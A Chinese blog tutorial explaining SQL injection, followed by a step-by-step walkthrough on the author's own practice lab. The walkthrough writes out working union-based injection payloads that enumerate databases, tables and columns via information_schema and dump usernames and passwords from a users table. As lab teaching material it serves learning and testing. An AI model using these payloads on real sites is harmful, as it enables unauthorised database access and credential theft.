初识SQL注入

初识SQL注入,究竟什么是SQL注入?其实所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

SQL注入原理

SQL注入攻击指的是通过构建特殊输入作为参数传入Web应用程序,而这些输入大都是SQL语句里的一些组合,通过执行SQL语句而执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统。

SQL注入的来源

1、程序员水平和经验的欠缺,对SQL注入不够重视或者没有防范意识;

2、现在很多教程或者模板存在SQL注入漏洞;

3、Internet上给出的许多解决办法并未解决;

4、数据库管理员对数据库权限设置不合理。

SQL注入的主要特点

1、变种极多

2、攻击简单

3、危害极大

SQL注入典型攻击手段

· 判断应用程序是否存在注入漏洞

· 收集信息并判断数据库类型

· 根据注入参数类型,重构SQL语句跟原貌

· 猜解表名、字段名

· 获取账户信息、攻击Web或为下一步攻击做准备。

MySQL——字符串连接函数

· concat(str1,str2……)函数,直接连接

· group_concat(str1,str2……)函数,使用逗号作为分隔符

· concat_ws(sep,str1,str2……)函数,使用第一个参数做分隔符

 

说了这么多,接下来我们通过一个实验来看看SQL注入到底是怎么进行的,如何进行SQL注入

 

实验环境:本人自行搭建的SQL联系平台进行试验测试。

实验过程:

第一步:首先要判断注入点和注入类型。在打开的网页的链接中,添加后缀“ and 1=1”,回车执行,网页没有发生任何变化。

第二步,将第一步的后缀链接改成“ and 1=2”,回车执行,发现网页还是没有任何变化。此时,综合第一步和第二步我们可知,该SQL的注入类型并不是整型注入,原因是,我们在执行了 “and 1=1”和“and 1=2”之后,网页都没有变化,说明and之后的内容并没有被执行,and之前的内容恒为真。既然不是整型注入,那么接下来我们进行字符型注入的验证。

第三步,添加后缀“’ and 1=1 %23”,回车执行。这里解释一下为什么这样写,因为表单在传参数时应该是[‘$id’]形式,先输入的右单引号与参数传入位置的左单引号形成闭合区间,最后面的%23又是什么意思呢?其实,我们将参数传递过去,给了一个右单引号已经和前面的左单引号形成了闭合,而且这队单引号之间是空值,这样已经形成了配对,最后留下的一个多余的单引号我们需要给注释掉,这里的#(也就是%23)就是注释的意思。

第四步,添加后缀“' and 1=2 %23”回车执行,此时我们发现,网页报错了,这就说明了一点就是该SQL注入的类型为字符型。

第五步,添加后缀“’ order by 4 %23”和“’ order by 3 %23”进行测试,看一下该数据库内有几列。当我们添加后缀“’ order by 4 %23”执行的时候,网页报错,说第四列不存在,那我们再用“’ order by 3 %23”测试,该测试没问题,说明该数据库有3列。

第六步,添加后缀“' union select 1,2,3 %23”,回车执行,也没反映?此时呢我们需要改一下前面id的值,让其等于 -1 执行。

第七步,既然我们已经知道该数据库的大体情况了,我们可以查询所有库名,命令:

“’ and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata %23”

查看当前库:“’ and 1=2 union select 1,2,concat(database())%23”

查看库的版本:“’ and 1=2 union select 1,2,concat(version())%23”

第八步,查询可疑库security中所有的表。

命令:“' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"%23”

第九步,在该库中我们可以看到有一个users表,经验表明该表存放的是用户信息,所以我们查看该表的所有字段。

命令:“' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"%23”

第十步,查看表中数据。通过上一步我们可以看到,在users表中包含字段id,username,password,这三个字段。这其实就是我们SQL要找的数据所存放的位置了,下面,我们就将根据字段来获取数据库里面的数据。

命令:“' and 1=2 union select 1,2,group_concat(id,0x23,username,0x23,password) from security.users %23”

SQL注入获取数据成功,实验完成。

声明:本实验所使用环境为本人自行搭建实验环境进行操作,未经允许,不得访问文中所提供的IP,否则,后果自负!!!

需要搭建本实验平台请联系博主+Q:2392900426

  • 4
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烟雨天青色

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值